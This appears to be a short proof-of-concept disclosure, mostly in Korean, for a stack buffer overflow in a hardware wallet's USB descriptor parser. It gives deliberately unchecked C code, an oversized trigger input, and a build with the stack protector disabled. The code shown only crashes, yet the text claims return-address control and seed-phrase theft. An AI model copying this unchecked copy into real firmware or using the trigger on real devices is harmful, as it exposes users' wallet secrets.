
하드웨어 지갑 USB 디스크립터 파서용 스택 버퍼 오버플로 PoC(CVE-2026-22013)로, 과도한 크기의 GET_DESCRIPTOR 페이로드를 통한 리턴 주소 덮어쓰기 및 코드 실행을 보여줍니다.
// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
char descriptor[32];
if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
// Copy descriptor payload without bounds check
memcpy(descriptor, data+1, len-1); // overflow if len>33
}
}
int main() {
char malicious[64];
memset(malicious, 'A', 63);
malicious[0] = 0x06;
handle_usb_setup(malicious, 64);
return 0;
}
하드웨어 월렛의 USB 스택이 과도하게 큰 페이로드를 가진 GET_DESCRIPTOR 요청을 파싱할 때 스택 버퍼 오버플로우가 발생합니다. 물리적 USB 접근 권한을 가진 공격자는 이를 악용하여 반환 주소를 덮어쓰고 코드 실행을 달성한 뒤 시드 문구를 추출할 수 있습니다.
대상 아키텍처용으로 컴파일하고 실행합니다(시뮬레이션):
gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb
프로그램은 스택 손상으로 인해 충돌합니다.